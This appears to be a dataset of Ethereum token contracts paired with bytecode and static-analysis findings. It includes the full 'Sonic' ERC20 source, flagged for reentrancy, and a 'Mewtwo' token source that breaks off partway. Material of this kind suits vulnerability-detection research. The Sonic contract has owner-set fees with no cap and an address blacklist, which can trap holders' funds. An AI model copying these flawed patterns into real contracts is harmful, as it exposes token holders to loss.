576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6000602082840312156126a2576126a1611d4b565b5b60006126b084828501612677565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612715602483611e32565b9150612720826126b9565b604082019050919050565b6000602082019050818103600083015261274481612708565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006127a7602283611e32565b91506127b28261274b565b604082019050919050565b600060208201905081810360008301526127d68161279a565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612839602583611e32565b9150612844826127dd565b604082019050919050565b600060208201905081810360008301526128688161282c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006128cb602383611e32565b91506128d68261286f565b604082019050919050565b600060208201905081810360008301526128fa816128be565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061295d602683611e32565b915061296882612901565b604082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b60006020820190506129a8600083018461255f565b9291505056fea26469706673582212201d852e18e7f190b9cfc294ec0b7c39b2d3b5991cec65a669f276edb210731cc964736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,794
0x739ae2c38d315a3e676ba5f9f6206333fe018713
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Sonic is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Sonic"; string private constant _symbol = "SONIC"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private buyReflections = 0; uint256 private buyTax = 8; uint256 private sellReflections = 0; uint256 private sellTax = 8; //Original Fee uint256 private reflectionsFee = sellReflections; uint256 private _taxFee = sellTax; uint256 private _previousReflectionsFee = reflectionsFee; uint256 private _previousTaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress = payable(0x8Ff0571CCF90818df4D93837c7308B967F22C233); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; uint256 public _maxWalletSize = 3000000000 * 10**9; uint256 public _swapTokensAtAmount = 3000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (reflectionsFee == 0 && _taxFee == 0) return; _previousReflectionsFee = reflectionsFee; _previousTaxFee = _taxFee; reflectionsFee = 0; _taxFee = 0; } function restoreAllFee() private { reflectionsFee = _previousReflectionsFee; _taxFee = _previousTaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { reflectionsFee = buyReflections; _taxFee = buyTax; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { reflectionsFee = sellReflections; _taxFee = sellTax; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function manualSwap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { require(_msgSender() == _marketingAddress); for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, reflectionsFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { buyReflections = redisFeeOnBuy; sellReflections = redisFeeOnSell; buyTax = taxFeeOnBuy; sellTax = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public { require(_msgSender() == _marketingAddress); _swapTokensAtAmount = swapTokensAtAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require(_msgSender() == _marketingAddress); require (maxWalletSize > 3000000000 * 10**9); _maxWalletSize = maxWalletSize; } }
0x6080604052600436106101695760003560e01c8063715018a6116100d1578063a2a957bb1161008a578063dd62ed3e11610064578063dd62ed3e14610460578063ea1644d5146104a6578063f2fde38b146104c6578063f4293890146104e657600080fd5b8063a2a957bb146103f0578063a9059cbb14610410578063bfd792841461043057600080fd5b8063715018a61461032c5780637f2feddc146103415780638da5cb5b1461036e5780638f9a55c01461038c57806395d89b41146103a257806398a5c315146103d057600080fd5b80632fd689e3116101235780632fd689e314610285578063313ce5671461029b57806349bd5a5e146102b757806351bc3c85146102d75780636b999053146102ec57806370a082311461030c57600080fd5b8062b8cf2a1461017557806306fdde0314610197578063095ea7b3146101d75780631694505e1461020757806318160ddd1461023f57806323b872dd1461026557600080fd5b3661017057005b600080fd5b34801561018157600080fd5b5061019561019036600461160b565b6104fb565b005b3480156101a357600080fd5b50604080518082019091526005815264536f6e696360d81b60208201525b6040516101ce91906116d0565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611725565b6105ba565b60405190151581526020016101ce565b34801561021357600080fd5b50601354610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b5068056bc75e2d631000005b6040519081526020016101ce565b34801561027157600080fd5b506101f7610280366004611751565b6105d1565b34801561029157600080fd5b5061025760165481565b3480156102a757600080fd5b50604051600981526020016101ce565b3480156102c357600080fd5b50601454610227906001600160a01b031681565b3480156102e357600080fd5b5061019561063a565b3480156102f857600080fd5b50610195610307366004611792565b610673565b34801561031857600080fd5b50610257610327366004611792565b6106be565b34801561033857600080fd5b506101956106e0565b34801561034d57600080fd5b5061025761035c366004611792565b60116020526000908152604090205481565b34801561037a57600080fd5b506000546001600160a01b0316610227565b34801561039857600080fd5b5061025760155481565b3480156103ae57600080fd5b50604080518082019091526005815264534f4e494360d81b60208201526101c1565b3480156103dc57600080fd5b506101956103eb3660046117af565b610754565b3480156103fc57600080fd5b5061019561040b3660046117c8565b610779565b34801561041c57600080fd5b506101f761042b366004611725565b6107b7565b34801561043c57600080fd5b506101f761044b366004611792565b60106020526000908152604090205460ff1681565b34801561046c57600080fd5b5061025761047b3660046117fa565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156104b257600080fd5b506101956104c13660046117af565b6107c4565b3480156104d257600080fd5b506101956104e1366004611792565b610827565b3480156104f257600080fd5b50610195610911565b6000546001600160a01b0316331461052e5760405162461bcd60e51b815260040161052590611833565b60405180910390fd5b6012546001600160a01b0316336001600160a01b03161461054e57600080fd5b60005b81518110156105b65760016010600084848151811061057257610572611868565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ae81611894565b915050610551565b5050565b60006105c733848461093b565b5060015b92915050565b60006105de848484610a5f565b610630843361062b856040518060600160405280602881526020016119ae602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e97565b61093b565b5060019392505050565b6012546001600160a01b0316336001600160a01b03161461065a57600080fd5b6000610665306106be565b905061067081610ed1565b50565b6000546001600160a01b0316331461069d5760405162461bcd60e51b815260040161052590611833565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6001600160a01b0381166000908152600260205260408120546105cb9061105a565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161052590611833565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b0316336001600160a01b03161461077457600080fd5b601655565b6000546001600160a01b031633146107a35760405162461bcd60e51b815260040161052590611833565b600893909355600a91909155600955600b55565b60006105c7338484610a5f565b6000546001600160a01b031633146107ee5760405162461bcd60e51b815260040161052590611833565b6012546001600160a01b0316336001600160a01b03161461080e57600080fd5b6729a2241af62c0000811161082257600080fd5b601555565b6000546001600160a01b031633146108515760405162461bcd60e51b815260040161052590611833565b6001600160a01b0381166108b65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610525565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6012546001600160a01b0316336001600160a01b03161461093157600080fd5b47610670816110de565b6001600160a01b03831661099d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610525565b6001600160a01b0382166109fe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610525565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ac35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610525565b6001600160a01b038216610b255760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610525565b60008111610b875760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610525565b6000546001600160a01b03848116911614801590610bb357506000546001600160a01b03838116911614155b15610d8a576001600160a01b03831660009081526010602052604090205460ff16158015610bfa57506001600160a01b03821660009081526010602052604090205460ff16155b610c525760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610525565b6014546001600160a01b03838116911614610cd75760155481610c74846106be565b610c7e91906118af565b10610cd75760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610525565b6000610ce2306106be565b60165490915081108015908190610d035750601454600160a01b900460ff16155b8015610d1d57506014546001600160a01b03868116911614155b8015610d4257506001600160a01b03851660009081526005602052604090205460ff16155b8015610d6757506001600160a01b03841660009081526005602052604090205460ff16155b15610d8757610d7582610ed1565b478015610d8557610d85476110de565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610dcc57506001600160a01b03831660009081526005602052604090205460ff165b80610dfe57506014546001600160a01b03858116911614801590610dfe57506014546001600160a01b03848116911614155b15610e0b57506000610e85565b6014546001600160a01b038581169116148015610e3657506013546001600160a01b03848116911614155b15610e4857600854600c55600954600d555b6014546001600160a01b038481169116148015610e7357506013546001600160a01b03858116911614155b15610e8557600a54600c55600b54600d555b610e9184848484611118565b50505050565b60008184841115610ebb5760405162461bcd60e51b815260040161052591906116d0565b506000610ec884866118c7565b95945050505050565b6014805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f1957610f19611868565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f6d57600080fd5b505afa158015610f81573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa591906118de565b81600181518110610fb857610fb8611868565b6001600160a01b039283166020918202929092010152601354610fde913091168461093b565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906110179085906000908690309042906004016118fb565b600060405180830381600087803b15801561103157600080fd5b505af1158015611045573d6000803e3d6000fd5b50506014805460ff60a01b1916905550505050565b60006006548211156110c15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610525565b60006110cb611146565b90506110d78382611169565b9392505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156105b6573d6000803e3d6000fd5b80611125576111256111ab565b6111308484846111d9565b80610e9157610e91600e54600c55600f54600d55565b60008060006111536112d0565b90925090506111628282611169565b9250505090565b60006110d783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611312565b600c541580156111bb5750600d54155b156111c257565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806111eb87611340565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061121d908761139d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461124c90866113df565b6001600160a01b03891660009081526002602052604090205561126e8161143e565b6112788483611488565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112bd91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006112ec8282611169565b8210156113095750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836113335760405162461bcd60e51b815260040161052591906116d0565b506000610ec8848661196c565b600080600080600080600080600061135d8a600c54600d546114ac565b925092509250600061136d611146565b905060008060006113808e878787611501565b919e509c509a509598509396509194505050505091939550919395565b60006110d783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e97565b6000806113ec83856118af565b9050838110156110d75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610525565b6000611448611146565b905060006114568383611551565b3060009081526002602052604090205490915061147390826113df565b30600090815260026020526040902055505050565b600654611495908361139d565b6006556007546114a590826113df565b6007555050565b60008080806114c660646114c08989611551565b90611169565b905060006114d960646114c08a89611551565b905060006114f1826114eb8b8661139d565b9061139d565b9992985090965090945050505050565b60008080806115108886611551565b9050600061151e8887611551565b9050600061152c8888611551565b9050600061153e826114eb868661139d565b939b939a50919850919650505050505050565b600082611560575060006105cb565b600061156c838561198e565b905082611579858361196c565b146110d75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610525565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461067057600080fd5b8035611606816115e6565b919050565b6000602080838503121561161e57600080fd5b823567ffffffffffffffff8082111561163657600080fd5b818501915085601f83011261164a57600080fd5b81358181111561165c5761165c6115d0565b8060051b604051601f19603f83011681018181108582111715611681576116816115d0565b60405291825284820192508381018501918883111561169f57600080fd5b938501935b828510156116c4576116b5856115fb565b845293850193928501926116a4565b98975050505050505050565b600060208083528351808285015260005b818110156116fd578581018301518582016040015282016116e1565b8181111561170f576000604083870101525b50601f01601f1916929092016040019392505050565b6000806040838503121561173857600080fd5b8235611743816115e6565b946020939093013593505050565b60008060006060848603121561176657600080fd5b8335611771816115e6565b92506020840135611781816115e6565b929592945050506040919091013590565b6000602082840312156117a457600080fd5b81356110d7816115e6565b6000602082840312156117c157600080fd5b5035919050565b600080600080608085870312156117de57600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561180d57600080fd5b8235611818816115e6565b91506020830135611828816115e6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118a8576118a861187e565b5060010190565b600082198211156118c2576118c261187e565b500190565b6000828210156118d9576118d961187e565b500390565b6000602082840312156118f057600080fd5b81516110d7816115e6565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561194b5784516001600160a01b031683529383019391830191600101611926565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261198957634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119a8576119a861187e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f6b4749ec897dda8e25b6f3ed6618e106fb850c7232c79e61b47edb48a296f9264736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,795
0xdfeb7599ba6d42237f1a72d820afdfc041c962aa
/** $Mewtwo 🔮Telegrams: https://t.me/mew2token 🧿Website: https://www.mew2token.com */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint 